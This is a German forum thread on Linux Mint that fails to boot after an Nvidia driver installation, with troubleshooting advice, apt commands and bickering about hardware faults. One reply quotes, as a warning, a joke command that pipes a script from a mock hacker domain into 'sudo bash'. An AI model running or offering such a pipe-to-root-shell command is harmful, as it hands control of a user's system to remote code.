Forum: PC Hard- und Software Linux Mind PC ist tot, nach Treiberinstallation


von Rudi (rudils)


Lesenswert?

Hallo, Ich hab meinen PC aufgerüstet mit I7, M2-Lw, Genforce 1650 und 
16Mb. Danach hab ich Linux Mind 22 installiert und so manche SW. Lief 
mit meinen 3 Bildschirmen fast gut. Für Blender fehlte mir allerdings 
GPU Unterstützung. Und bei KiCad stelle ich fest, dass der Cursor sehr 
hackelich(verzögert) lief. Deshalb wollte ich Nvidia Treiber 
installieren. Der empfohlene Treiber ist aber bei Installation 
abegestürtzt. Beim googlen wurde nur emfohlen, andere Versionen zu 
probieren. Vers.2 ist auch abgestürzt. Version 3 hat seine Installation 
erstmalig abgeschlossen, jedoch startet nun der PC überhaupt nicht mehr, 
nur Bios geht noch. Ich schreib Euch von meinem Laptop aus, um einen Tip 
zu bekommen, wie ich ohne Neuinstallation rauskomme.

Gruß Rudi

von Christian M. (christian_m280)


Lesenswert?

Du musst Linux Mint installieren!

Gruss Chregu

von Ein T. (ein_typ)


Lesenswert?

Rudi schrieb:
> Hallo, Ich hab meinen PC aufgerüstet mit I7, M2-Lw, Genforce 1650 und
> 16Mb. Danach hab ich Linux Mind 22 installiert und so manche SW. [...]
> Deshalb wollte ich Nvidia Treiber
> installieren. Der empfohlene Treiber ist aber bei Installation
> abegestürtzt. Beim googlen wurde nur emfohlen, andere Versionen zu
> probieren. Vers.2 ist auch abgestürzt. Version 3 hat seine Installation
> erstmalig abgeschlossen, jedoch startet nun der PC überhaupt nicht mehr,
> nur Bios geht noch. Ich schreib Euch von meinem Laptop aus, um einen Tip
> zu bekommen, wie ich ohne Neuinstallation rauskomme.

Hm, von den Versionen "2" und "3" der NVidia-Treiber habe ich noch nie 
etwas gelesen oder gehört. NVidia verwendet ein anderes 
Versionierungsschema, auf meinem E5580 hier ist zum Beispiel aktuell die 
Version 535 installiert.

Hinzu kommt, daß die GPU-Unterstützung von Blender laut Dokumentation 
[1] auch noch eine GPU Compute API wie CUDA oder OptiX erfordert.

Nicht nur, aber auch aufgrund der Ungereimtheiten mit Deiner 
Versionsangabe fehlen mir daher so ziemlich alle Informationen in Deinem 
Beitrag, die ich benötigen würde, um Dir behilflich zu sein. Beantworte 
daher bitte zunächst folgende Fragen:

1. Wo genau hast Du die betreffenden Softwarepakete her?

2. Wie genau hast Du die Software installiert?


[1] 
https://docs.blender.org/manual/en/latest/render/cycles/gpu_rendering.html

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Starte in den abgesicherten Modus ohne Grafik, dann:
1
cd <wo der Nvidia Installer liegt>
2
./NVIDIA-Linux-<version>.run --uninstall

: Bearbeitet durch User
von Matthias S. (dachs)


Lesenswert?

Ich mache inzwischen einen grossen Bogen um Nvidia.
Die haben doch tatsächlich für meine ca. 10 Jahre alte Onboard-Grafik 
keine neue Treiberversion mehr bereitgestellt.

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Matthias S. schrieb:
> Die haben doch tatsächlich für meine ca. 10 Jahre alte Onboard-Grafik
> keine neue Treiberversion mehr bereitgestellt.

So eine Frechheit aber auch: Nur 10 Jahre Support für Consumer 
(=wegwerf) Hardware.

: Bearbeitet durch User
von Norbert (der_norbert)


Lesenswert?

Rudi schrieb:
> Beim googlen wurde nur emfohlen, andere Versionen zu
> probieren.

Ab hier muss man eigentlich nicht mehr weiter lesen.

von Rudi (rudils)


Lesenswert?

Sherlock 🕵🏽‍♂️ schrieb:
> Starte in den abgesicherten Modus ohne Grafik

wie ich sagte: der PC ist TOT

Ein T. schrieb:
> Hm, von den Versionen "2" und "3" der NVidia-Treiber habe ich noch nie
> etwas gelesen oder gehört. NVidia verwendet ein anderes
> Versionierungsschema, auf meinem E5580 hier ist zum Beispiel aktuell die
> Version 535 installiert.

Ja, nr 1=550 nr 2=535 3 = ~430

Ein T. schrieb:
> Wie genau hast Du die Software installiert?

Mit dem Linux Mint Treibertool

von Norbert (der_norbert)


Lesenswert?

Rudi schrieb:
> wie ich sagte: der PC ist TOT

Keine Lampe mehr? Kein Lüfter mehr?

Dann muss aus Versehen das Modul powersupply.ko mit dem --kill --force 
Parameter aufgerufen worden sein.
Da kann man dann nichts mehr machen.

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Rudi schrieb:
> wie ich sagte: der PC ist TOT

Das kann nicht sein. Dass Bootmenü wo man Kernel-Optionen auswählen kann 
hat absolut nichts mit dem Grafiktreiber zu tun.

Sollte der PC nicht mal so weit kommen, hast du ein ganz anderes 
Problem, das nichts mit dem Grafiktreiber zu tun hat (z.B. SSD oder RAM 
defekt).

Sollte der PC nicht mal so weit kommen, bleibt eigentlich nur eine 
Neuinstallation übrig, aber das willst du ja nicht.

Du könntest mal testen, oder er noch von einer CD, DVD oder USB Stick 
booten kann.

: Bearbeitet durch User
von (prx) A. K. (prx)


Lesenswert?

Rudi schrieb:
> wie ich sagte: der PC ist TOT

Wenn Du die Spott- und Ironiequote unter den Reaktionen etwas reduzieren 
willst, dann bring mehr Details. Sonst läuft das eher in die Richtung 
des nicht mehr ganz frischen Klassikers "Was steht auf dem Bildschirm? - 
Ein Blumentopf".

: Bearbeitet durch User
von Norbert (der_norbert)


Lesenswert?

(prx) A. K. schrieb:
> "Was steht auf dem Bildschirm -
> ein Blumentopf".

Leider gibt's bei den neuen Rechnern kein ›Mein Dosenhalter ist 
abgebrochen‹ mehr.

von (prx) A. K. (prx)


Lesenswert?

Norbert schrieb:
> Keine Lampe mehr? Kein Lüfter mehr?

Rudi schrieb:
> nur Bios geht noch

von (prx) A. K. (prx)


Lesenswert?

Rudi schrieb:
> Ich schreib Euch von meinem Laptop aus, um einen Tip
> zu bekommen, wie ich ohne Neuinstallation rauskomme.

Zum Anfang kann man vom passenden Installationsmedium ein Livesystem 
booten, und sehen, wie weit man damit kommt. Wenn das geht, dann darüber 
ins Disksystem weiter wechseln - gibts oft als Option im Bootvorgang vom 
Medium.

: Bearbeitet durch User
von Norbert (der_norbert)


Lesenswert?

Rudi schrieb:
> nur Bios geht noch.

Rudi schrieb:
> wie ich sagte: der PC ist TOT

TOT kommt später, trumpft also! ;-)

von Hannes J. (Firma: _⌨_) (pnuebergang)


Lesenswert?

Norbert schrieb:
> Leider gibt's bei den neuen Rechnern kein ›Mein Dosenhalter ist
> abgebrochen‹ mehr.

Kannst du am Tisch nachrüsten:

https://www.ikea.com/de/de/p/lanespelare-becherhalter-schwarz-90507844/
https://www.amazon.de/Becherhalter-Schreibtisch-Flaschenhalter-Getr%C3%A4nkehalter-Tisch/dp/B0CLRX9XW1

Hat aber keinen Einfluss auf das normalerweise nicht mehr vorhandene 
CD/DVD-Laufwerk und löst das Problem des TS ebenfalls nicht.

An den TS: Boote von Grub aus in den Recovery oder Emergency Modus. Wie 
das geht und was verfügbar ist hängt von der jeweiligen Version ab. 
Musst du dir für dein Mint heraus suchen. Dann de-installiere die 
Treiber.

von Stephan S. (uxdx)


Lesenswert?

Kannst Du von einem USB-Stick booten?

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Hannes J. schrieb:
> Boote von Grub aus in den Recovery oder Emergency Modus

soweit waren wir schon:

Rudi schrieb:
>> Starte in den abgesicherten Modus ohne Grafik
> wie ich sagte: der PC ist TOT

von Rudi (rudils)


Lesenswert?

Hannes J. schrieb:
> An den TS: Boote von Grub aus in den Recovery oder Emergency Modus

Kann ich nicht, da keinerlei Aktionen möglich sind.

Aber jetzt wird es spannend:

Jetzt wollte ich nach 2 std es doch mal mit einen Boot von CD probieren.
Ich traute meinen Augen nicht: der PC kam mit einem Original Boot hoch, 
nicht von der CD. Die Bildschirme war wie nach einer Neuinstallation 
ungeordet. Ließen sich dann normal einrichten. Blender hatte auch Cuda 
zur Verfügung. KiCad hatte eine schnelle Cursorreaktionen. Freude!!

Aber, aber, der Test auszuschalten und neu zu booten war die 
Enttäuschung. Jetzt geht wieder nichts mehr.
Bis dann....

von Rudi (rudils)


Lesenswert?

(prx) A. K. schrieb:
> Zum Anfang kann man vom passenden Installationsmedium ein Livesystem
> booten, und sehen, wie weit man damit kommt. Wenn das geht, dann darüber
> ins Disksystem weiter wechseln - gibts oft als Option im Bootvorgang vom
> Medium.

Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln 
geht , weiß ich nicht.

von Rbx (rcx)


Lesenswert?

Rudi schrieb:
> Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln
> geht , weiß ich nicht.

Was für ein Datei-Verwaltungsprogramm gibt es auf der CD bzw. ist da 
auch ein MC (Midnight Commander) drauf?

von (prx) A. K. (prx)


Angehängte Dateien:

Lesenswert?

Rudi schrieb:
> Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln
> geht , weiß ich nicht.

In den Bootmanager kommst Du mit irgendwas aus Leertaste/Shift/Esc zum 
richtigen Zeitpunkt. Vom Inst-Medium gestartet ist damit ist immerhin 
der Bootloader nicht der von Disk. Bringt aber vmtl wenig.

Auch schon "... compatibility mode" probiert? Da gibts eine VGA-Session, 
also keine Abhängigkeit von NVidia.

Dort "Tab" erlaubt Bootoptionen vom Kernel.  Damit lässt sich der Start 
der GIU verhindern, für Konsol-Session. Mehr dazu => Web.

: Bearbeitet durch User
von (prx) A. K. (prx)


Angehängte Dateien:

Lesenswert?

Rudi schrieb:
> Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln
> geht , weiß ich nicht.

In Mint ist das wohl nicht so einfach. Aber Du kommst im Livesystem an 
die Sysdisk ran und kannst da Änderungen vornehmen, Zeug sichern, ... 
Reparaturaktionen können allerdings etwas kompliziert ausfallen.

: Bearbeitet durch User
von Rudi (rudils)


Lesenswert?

Nun habe ich den Verdacht, dass nur der Bootsector auf der Festplatte 
zerschossen ist, weil das System ja mal zwischendurch funktionierte 
(siehe Beitrag von 16:35). Von der Installations-CD komme ich in 
Grub-Menue und dort kann ich eine Befehlszeile, ähnlich Shell, wählen. 
Dort gibt es einen Sack voll Kommandos, die ich alle außer ls nicht 
kenne.

Gibt es da was um den Bootsector zu reparieren?

Oder kann man da aus "Timeshift" aktivieren, um die letzte Version 
wieder herzustellen?

Oder kennt Jemand einen Linux-Speziallisten der helfen könnte?

Wenn nicht, muß ich wieder 3Tage opfern, um meine ganze SW zu 
installieren. Wenigstens habe ich ein Datenbackup.

von Εrnst B. (ernst)


Angehängte Dateien:

Lesenswert?

Wichtigste Regel für Linux-Neulinge:
Installier NIE etwas am Distributions-Packagemanager vorbei.
Egal wie toll die "curl 13³7-hąx×0r.ru | sudo bash" Anleitung auf Tiktok 
aussieht.

Zwei Klicks im "Driver Manager" hätten vermutlich gereicht...

von Norbert (der_norbert)


Lesenswert?

Εrnst B. schrieb:
> Egal wie toll die "curl 13³7-hąx×0r.ru | sudo bash" Anleitung auf Tiktok
> aussieht.

Uuuhhhhh.
Das letzte Mal wo mir ein solcher Schauer über den Rücken gelaufen ist, 
dass muss ein alter Boris Karloff Film gewesen sein. ;-)

von Rudi (rudils)


Lesenswert?

Εrnst B. schrieb:
> Wichtigste Regel für Linux-Neulinge:

So einen Scheiß würde ich nie machen: den Treiber habe ich dort ganz 
offziell installiert.

Nun bin ich eine Erkenntnis weiter:

Nachdem ich das Livesystem von CD gestartet hatte, stelle ich fest, das 
keine Connection ins Internet bekam. Dort wollte ich das 
"Boot-Repair-Tool" herunterladen. Auf der Suche nach anderen 
Hilfsmitteln, fand ich im Systemmenue, dass dort auch dieses Tool 
vorhanden ist. Ich hab es ausgeführt und es hat gesagt, dass es 
erfolgreich war.

Der erste Bootversuch hat trotzdem nicht funktioniert.

Aber nach dem Bios-start wurde ein anderes Grub-Menü angezeigt. Von da 
aus konnte ich verschiedene Kernels wählen. Der 2. in der Liste hat dann 
meine Originalinstallation gestartet mit einer voll funktionsfähigen 
Grafikkarte mit CUDA.

Jetzt muss ich demnächst hoffendlich nur noch rausfinden, wie ich den 
kaputten Kernel loswerde.

von Daniel A. (daniel-a)


Lesenswert?

dpkg-query -l "linux-image-*"
Deinstallieren geht mit "apt-get remove"
Initrd & bootzeugs neu generieren mit "update-initramfs -u"
Wahrscheinlichkeit, dass dabei wieder was kaputt geht: hoch (weil 
vermutlich schon irgend wo was krumm ist)

von Tim 🔆 (solarlicht)


Lesenswert?

Genau das ist mir unter Ubuntu Mate kürzlich auch passiert. Bei mir half 
ein Upgrade über die Konsole. Danach war der reguläre Treiber wieder da.

sudo apt update
sudo apt upgrade

Die Probleme mit der Grafik traten auch bei mir ab 22.04 auf. Aber mein 
Rechner und meine Graka sind halt uralt.


Edit:

Rudi schrieb:
> Der 2. in der Liste hat dann
> meine Originalinstallation gestartet mit einer voll funktionsfähigen
> Grafikkarte mit CUDA.

Sorry, eben erst gelesen dass du es bereits wieder hinbekommen hast.

: Bearbeitet durch User
von Rbx (rcx)


Lesenswert?

Daniel A. schrieb:
> Deinstallieren geht mit "apt-get remove"

Die anderen Aufräumbefehle mit apt sind auch ziemlich wichtig bzw. 
nützlich, und die sollte man immer wieder einsetzen, kenne ich noch vom 
Usb-Linux.

Tim 🔆 schrieb:
> sudo apt update
> sudo apt upgrade

Sollte man schon erwägen, bei Problemen. Allerdings ist die 
Grafik-Situation schon schwierig - ist üblicherweise aber weniger 
schlimm, wenn schon etwas Zeit verstrichen ist, die Kernelentwicklung 
und der Rest der sonst wichtigen Welt sind nicht sonderlich synchron. 
Für Wine ist es z.B. meist gut, wenn der Kernel schon etwas älter ist
Auf jeden Fall (neben den Grubetc-repari-disks) hilfreich:
https://rpmfusion.org/

von Εrnst B. (ernst)


Lesenswert?

Rudi schrieb:
> So einen Scheiß würde ich nie machen: den Treiber habe ich dort ganz
> offziell installiert.

Genau das glaube ich nicht. Sonst würdest du kein so großes Geheimnis 
daraus machen, wo du den Treiber bezogen hast und wie du ihn installiert 
hast.
Und würdest von keinen Versionsnummern berichten, die so im Mint-, 
Ubuntu- oder Debian-Repository nicht existieren.

von Rudi (rudils)


Lesenswert?

Εrnst B. schrieb:
> Sonst würdest du kein so großes Geheimnis
> daraus machen

Ich habe zwischendurch deutlich darauf hingewiesen, dass der Treiber mit 
dem Treiberverwaltung aus dem Systemmenue installiert wurde!

nvidia-driver-470.256.02

Treiber 550 und 535 sind bei der Installation abgestürzt.

Bisher bekomme ich meinen PC nur im Recovery-Mode zum laufen, unabhängig 
von der Kernelversion.

von Εrnst B. (ernst)


Lesenswert?

Rudi schrieb:
> Ich habe zwischendurch deutlich darauf hingewiesen, dass der Treiber mit
> dem Treiberverwaltung aus dem Systemmenue installiert wurde!
>
> nvidia-driver-470.256.02
>
> Treiber 550 und 535 sind bei der Installation abgestürzt.

Siehst du, solche Infos sind gleich beim Thread-Eröffnen wichtig, damit 
man zielgerichtet helfen kann.

Allerdings wäre jetzt interessant, was du mit "bei der Installation 
abgestürzt" meinst.

Einfach "Installation fehlgeschlagen"? => Ausgabe von apt wäre 
hilfreich.

"Rechner aus oder rebootet"? => Eher kein Problem mit Grafikkarte oder 
Treiber. Würde mit einem RAM-Test anfangen, dann die CPU-Kühlung mit 
einem Lasttest prüfen (cpuburn z.b.)

von Rudi (rudils)


Lesenswert?

Εrnst B. schrieb:
> "Rechner aus oder rebootet"? => Eher kein Problem mit Grafikkarte oder
> Treiber. Würde mit einem RAM-Test anfangen, dann die CPU-Kühlung mit
> einem Lasttest prüfen (cpuburn z.b.)

Ja der PC war bei 75% des Installvorgangs plötzlich aus.
Nur die letzte Version hat sich ordentlich beendet und hat auch bis zum 
ausschalten funktioniert. Nur, bein nächsten Einschalten blieb er gleich 
nach dem Bios  hängen - Ohne Bildschirm und Tastenreaktion.

Hardwareprobleme werden es wohl nicht sein, da ich dieses Verhalten beim 
Installieren auch schon auf meiner vorherigen Hardware beobachtet habe. 
Nur die Bootprobleme hatte ich damals nicht. Deshalb habe ich bisher auf 
meinem neuen Rechner nur mit "xserver-xorg-video-nouveau" laufen lassen. 
Da aber hat man kein CUDA.

Bei der ursprünglichen Einrichtung bekam ich bei Start keine UEFI-Menue 
zu sehen. Im laufe der obigen Maßnahmen bekam ich aber ein UEFI-Menu, 
das auch "Erweitere Aktionen" zur Auswahl hat. Von dort kann ich im 
Recovery-Modus starten.

von Daniel A. (daniel-a)


Lesenswert?

Rudi schrieb:
> Ja der PC war bei 75% des Installvorgangs plötzlich aus.

Auch wenn das System komplett abschmiert, der Kernel crasht, der PC geht 
darum nicht einfach aus (ausser man hat manuell den watchdog 
eingerichtet, macht aber eigentlich keiner).

Da würde ich schon eher auf die Hardware tippen. Zu schwaches Netzteil, 
kaputte Grafikkarte, irgend so was.

von Hans (ths23)


Lesenswert?

https://www.nvidia.de/download/driverResults.aspx/227063/de

Daniel A. schrieb:
> a würde ich schon eher auf die Hardware tippen. Zu schwaches Netzteil,
> kaputte Grafikkarte, irgend so was.
Nöö, ganz bestimmt nicht, da passt wieder mal was nicht richtig 
zusammen.

@Rudi:
Wo hast Du denn den Treiber her? Ich würde den Treiber den Nvidia 
(https://www.nvidia.de/download/driverResults.aspx/227063/de) anbietet 
nehmen. Mit den Treibern von denen bin ich bisher immer ganz gut 
gefahren. Der Installer kompiliert ein Kernelmodul passend zu Deinem 
Kernel. Du brauchst also die Kernelquellen für Deinen Kernel und die 
Buildumgebung. Was alles genau erforderlich ist beschreibt Nvidia hier 
http://us.download.nvidia.com/XFree86/Linux-x86_64/470.256.02/README/index.html. 
Schau vorsichtshalber mal nach ob Deine Karte auch wirklich von diesem 
Treiber unterstützt wird, auf der obigen Nvidia Seite sind die 
kompatiblen Karten gelistet.
Wie gesagt Orginaltreiber von Nvidia habe ich bisher immer zum Laufen 
gebracht. Ich habe in einem meiner Rechner eine recht alte GForce, wo 
die Treiberentwicklung schon lange eingestellt wurde, da gab es bei der 
Installation von Mint21 Probleme und da habe ich wirklich lange dran 
gesessen. Am Ende habe ich es mit Unterstützung aus dem Netz geschafft. 
Das war aber wie gesagt eine Ausnahme - alte Graka, Treibersoftware die 
nicht mehr gepflegt wird und ein damals aktuelles Linux.

von Rudi (rudils)


Lesenswert?

Hans schrieb:
> Nöö, ganz bestimmt nicht, da passt wieder mal was nicht richtig
> zusammen.

Ganz richtig. Ich danke dir für die kompetente Antwort. Besonders dein 
2.Link hat mich jedoch verstört, denn ich versteh erstmal nur Bahnhof. 
Ich glaub nicht, dass ich das hinbekomme, zumal ich auch nicht 
abschätzen kann, wie sich mein System bezüglich zukünftiger Updates dann 
verhält, wenn ich dann einen lokal compilierten Kernel hab.

Bleibt die Frage, was macht der Recovery-Kernel anders?

von Hans (ths23)


Lesenswert?

Rudi schrieb:
> Besonders dein
> 2.Link hat mich jedoch verstört, denn ich versteh erstmal nur Bahnhof.
Bleib mal ruhig. Lies Dir die README in aller Ruhe durch, dort ist 
wirklich genau beschrieben wie es funktioniert.
Mint ist ja debianbasiert, da kannst Du die benötigte Pakete in einem 
Terminal mit
1
apt-get install <Paketname>
installieren.
Die Kernelheader und -sourcen werden recht einfach über apt installiert. 
Die Schritte sehen in etwa (bei den meisten Debiansystemen) so aus:
1
apt-get update
2
apt-get install linux-headers-$(uname -r) 
3
apt-get install linux-source-$(uname -r)
Wie die Pakete genau heißen mußt Du für Deine Distri selbst 
herausfinden. Geht bestimmt auch über die grafische Paketverwaltung. 
Wenn Du die Kommandozeile nicht magst, kannst Du die Pakete natürlich 
auch über das grafische Frontend installieren.
Prüfe im nächsten Schritt ob die Pakete die Nvidia für die Installation 
verlangt vorhanden sind. Was minimal erforderlich ist steht hier 
http://us.download.nvidia.com/XFree86/Linux-x86_64/470.256.02/README/minimumrequirements.html, 
auch wie man das überprüft (unter Check with). Wenn Pakete fehlen 
installiere sie einfach mit apt oder dem grafischen Frontend nach.
Die Insstallation der Kernelsourcen und -header sowie der benötigten 
tools ändert erst mal nix an Deinem System.
Lade Dir von Nvidia den Treiber herunter und kopiere die Datei in ein 
Verzeichnis Deiner Wahl, am Besten in Dein Homeverzeichnis. Nach dem 
Herunterladen sollte es eine Datei NVIDIA-Linux-x86_64-470.256.02.run 
geben. Öffne ein Terminalfenster und gebe folgendes ein:
1
cd ~
2
sudo sh NVIDIA-Linux-x86_64-470.256.02.run
Das Kernelmodul wird jetzt compiliert. Sollte der Kompilationsvorgang 
erfolgreich sein, dann wird das Modul auch installiert, so daß es am 
Ende auch lauffähig ist. Sollte bei dem ganzen Prozedere irgend etwas 
schief laufen/fehlen bekommst Du halt entsprechende Fehlermeldungen, 
dann heißt es halt die Ursache beseitigen und noch einmal. Von allen 
Dateien die der Installer verändert wird ein Backup angelegt, so das man 
jederzeit zurück kann.

Bei mir hat das eigentlich bis auf die eine Ausnahme, die ich im letzten 
Post nannte, immer bestens funktioniert.
Wenn Du sehr ängstlich bist kann ein Backup Deines Systems natürlich 
nicht schaden.

Rudi schrieb:
> wie sich mein System bezüglich zukünftiger Updates dann
> verhält, wenn ich dann einen lokal compilierten Kernel hab.
Der Kernel wird ja nicht neu kompiliert. Es wird nur rein Kernelmodul 
erzeugt, welches der Kernel beim Laden einbindet. Solange Du keinen 
neuen Kernel installierst hat das Ganze auch keinen Einfluß. Erst wenn 
Du einen neuen Kernel installierst, mußt Du für diesen Sourcen und 
Header installieren und das Setupscript erneut ausführen, damit ein zum 
Kernel passendes Modul erzeugt wird.

Übrigens installiert das Script auch noch ein Nvidia-Tool mit dem Du 
dann DEine Bildschirme einrichten kannst (war zumindest bei mir so).

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Hans schrieb:
> Erst wenn
> Du einen neuen Kernel installierst, mußt Du für diesen Sourcen und
> Header installieren und das Setupscript erneut ausführen, damit ein zum
> Kernel passendes Modul erzeugt wird.

Was normalerweise automatisch passiert, nachdem der Treiber einmal 
erfolgreich installiert wurde.

von Εrnst B. (ernst)


Lesenswert?

Leute. Sein Rechner stürzt BEI DER INSTALLATION des Treibers ab.

Da ist der Treiber NOCH NICHT AKTIV, es erfolgt KEIN ZUGRIFF AUF DIE 
GRAFIKKARTE.

Sein Problem liegt woanders.

Nachdem die Installation relativ viel SSD/RAM-Durchsatz hat, und auch 
viel CPU braucht (DKIM-Build):

RAM kaputt, Netzteil zu schwach, CPU nicht gekühlt, etwas zuviel 
übertaktet, ein Troll vor dem PC der bei 75% den Reset-Knopf drückt...

von Daniel A. (daniel-a)


Lesenswert?

Rudi schrieb:
> Hans schrieb:
>> Nöö, ganz bestimmt nicht, da passt wieder mal was nicht richtig
>> zusammen.
>
> Ganz richtig. Ich danke dir für die kompetente Antwort.

Man muss manchmal ein Experte sein, um einen Experten zu erkennen. Das 
war keiner.

PS: In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt 
(Also Strom aus, off). Selbst wenn ein Kern defekt ist, bekommt man 
Meist nur eine Kernel Panic / MCE Event. Da muss schon was gröberes 
sein, etwas überhitzen, ein Kurzschluss, zu schwaches Netzteil, 
Stromausfall, solche Dinge. Sonnst stürzt das Ding zwar ab, aber geht 
nicht aus.

: Bearbeitet durch User
von Bauform B. (bauformb)


Lesenswert?

Daniel A. schrieb:
> In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt

Kann man "aus" und "wirklich aus" immer unterscheiden?
VT: die Treiber-Installation dauert ziemlich lange, der 
Bildschirmschoner wird aktiv und der Monitor geht auf Standby... Das 
kann mit grafischer Oberfläche und Textkonsole passieren.
Nicht ganz so extrem: der neue Treiber wird geladen, aber die 
Default-Konfiguration passt nicht für 3 Monitore. Der Installer läuft 
weiter, aber man sieht nichts mehr. Tastatur reagiert auch nicht, nur 
noch der Reset-Taster...

von Rudi (rudils)


Lesenswert?

Daniel A. schrieb:
> Man muss manchmal ein Experte sein, um einen Experten zu erkennen. Das
> war keiner.

Hallo, ihr seit etwas übergriffig. Und ihr liegt da falsch, alles auf 
die Hardware zu schieben. Mein neuer PC läuft super.

Und bezüglich des abschaltens des PCs beim Chrash, mache ich keinen 
Unterschied, ob der Strom weg ist oder nicht. Wenn die Bildschirme 
schwarz sind, die Tastatur taub, dann ist es mir wurscht ob die CPU 
irgentwo im Deatlock rödelt.

Außerdem habe im mehrmals hier erwähnt, dass diese 
Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere 
Hardware - gleicher Fehler, was sagt das euch?

von Hans (ths23)


Lesenswert?

Sherlock 🕵🏽‍♂️ schrieb:
> Was normalerweise automatisch passiert, nachdem der Treiber einmal
> erfolgreich installiert wurde.
 Nein, mit dem direkt von NVidia bereitgestellten Treiber passiert das 
nicht, da dieser an der Paketverwaltung vorbei installiert wird. Man muß 
den Buildprozess selbst anstoßen, was i.d.R auch kein Problem ist.

Εrnst B. schrieb:
> RAM kaputt, Netzteil zu schwach, CPU nicht gekühlt, etwas zuviel
> übertaktet, ein Troll vor dem PC der bei 75% den Reset-Knopf drückt...
Hier trollt gerade nur einer.
Der PC läuft ja mit dem Recoverykernel. Du stellst hier nur wage 
Vermutungen auf. Ich denke nicht das der Rudi den CPU Kühler runter 
gerissen hat.

Der Rudi will einfach nur seine 3 Bildschirme und seine Software 
benutzen. Mit dem wahrscheinlich installierten Noveau Treiber, der 
vermutlich von Mint automatisch installiert wurde, funktioniert es 
offenbar nicht richtig (der Treiber hat auch bei mir noch nie wirklich 
gut funktioniert). Nur aus diesem Grund hat er sich nach einem anderen 
Treiber umgesehen und selbigen versucht zu installieren, wobei was 
schief gelaufen ist.

Wenn ich den Rudi richtig verstanden habe, dann hat er den Treiber mit 
einem Managementtool von Mint installiert, was darauf schließen läßt, 
das es nicht der Treiber von NVidia ist.

Rudi wo hast Du denn den Treiber her?

Der Link mit dem Treiber den ich gepostet hatte könnte möglicherweise 
auch nicht der optimale Treiber sein, da ich zur Suche den von Dir 
geposteten Treibernamen (nvidia-driver-470.256.02). eingegeben hatte. 
Die GeForce 1650 erscheint zwar in der Kompatibilitätsliste, aber es 
gibt zu viele Varianten von der Grafikkarte.
Gehe doch einfach mal auf diese Seite 
https://www.nvidia.com/de-de/drivers/ von NVidia und gib die korrekte 
Bezeichnung Deiner Graka ein oder wähle Deine Karte über die 
Dropdownlisten aus. Da wirst Du auf alle Fälle zum korrekten Treiber 
geführt. Schau Dir bitte auch dort die Dokumentation an. Die 
Dokumentation bei NVidia ist in der Regel recht umfangreich. Wenn man 
sich an die Installationsanleitung hält kommt eigentlich auch ans Ziel. 
Es wird auch ein Forum angeboten, wo man auch Hilfe bekommt.

von Hans (ths23)


Lesenswert?

Daniel A. schrieb:
> PS: In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt
> (Also Strom aus, off). Selbst wenn ein Kern defekt ist, bekommt man
> Meist nur eine Kernel Panic / MCE Event. Da muss schon was gröberes
> sein, etwas überhitzen, ein Kurzschluss, zu schwaches Netzteil,
> Stromausfall, solche Dinge. Sonnst stürzt das Ding zwar ab, aber geht
> nicht aus.
Klar es muß die Hardware sein oder der Dau vor dem Bildschirm, denn 
Linux ist ist niemals schuld ;-).

von Daniel A. (daniel-a)


Lesenswert?

Es macht nun mal einen Unterschied, ob das OS abgestürzt ist, oder der 
PC aus ist. Wenn mir gesagt wird, der PC hat sich Ausgeschaltet, dann 
glaub ich das halt dummer weise erstmal.
Wenn man falsche Informationen gibt, muss man sich auch nicht über 
falsche Diagnosen wundern.

Ausserdem, ist es wirklich so schwer nachzusehen, ob der On Knopf noch 
leuchtet oder nicht?

von Sherlock 🕵🏽‍♂️ (rubbel-die-katz)


Lesenswert?

Bauform B. schrieb:
> Kann man "aus" und "wirklich aus" immer unterscheiden?

Sicher, durch einen Blick auf die Power-LED. Bei vielen Rechnern auch 
deutlich am ständig laufenden Lüfter erkennbar.

Beitrag #7777283 wurde vom Autor gelöscht.
von Rbx (rcx)


Lesenswert?

Rudi schrieb:
> Andere
> Hardware - gleicher Fehler, was sagt das euch?

Manchmal sitzt das Problem auch vor dem PC ;)

So auf Geistbasis helfen, oder Problem lösen mit Bildern, ist auch nicht 
immer brauchbar oder man sieht keine größeren Zusammenhänge, und kann 
auch nicht messen.
Aus dem Audio-Alltag weiß ich, dass manchmal viel Drama und lautes 
Geschrei entstehen kann, obwohl nur der Lautstärkeregeler auf Aus 
gestellt ist.
Sowas kommt auch vor, genauso wie ein Linux, das nicht mehr funzt, weil 
die Grafiksituation schwierig ist.
Besonders blöd ist es, wenn das Linux selbst vermurkst ist + die 
vermurkste Grafiksituation -> da hilft dann möglicherweise auch, das 
Linux zu wechseln und/oder auch noch die Hardware, die Linux-freundlich 
sein sollte.
Du hast verschiedene Eckpunkte und landest dann bei x%, also zu 20% 
nutzbar, zu 40% nutzbar, zu 60% nutzbar usw. und dann kommen noch die 
Updates, die eigentlich auch wenig transparent sind und so auch immer 
wieder problematisch.

Bei Windows gab es früher auch Ärger mit der Grafik, und nicht zu knapp. 
Einmal ging kein 3D, oder manchmal ging ein Treiberupdate schief. Die 
Standardprozedur da war immer, die Grafik auf einfachen VGA-Treiber 
umstellen, den gibt es in Windows, dann den alten Grafiktreiber 
deaktivieren und den neuen installieren.
Dann wird neugestartet, und im Gerätesystem der einfache VGA-Treiber mit 
dem neuen Grafikkartentreiber ausgetauscht.
Zuletzt gab es mal Ärger mit den deaktivierten Treibern, die wollten 
sich nicht löschen lassen, und in dem Zusammenhang ist auch mal mein 20 
Jahre alter Bildschirm kaputt gegangen und Windows (ME) musste 
neuinstalliert werden.

von Michael L. (nanu)


Lesenswert?

Bauform B. schrieb:
> Daniel A. schrieb:
>> In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt
>
> Kann man "aus" und "wirklich aus" immer unterscheiden?

Für viele gilt: Bildschirm schwarz -> aus.

Rudi schrieb:
> Und bezüglich des abschaltens des PCs beim Chrash, mache ich keinen
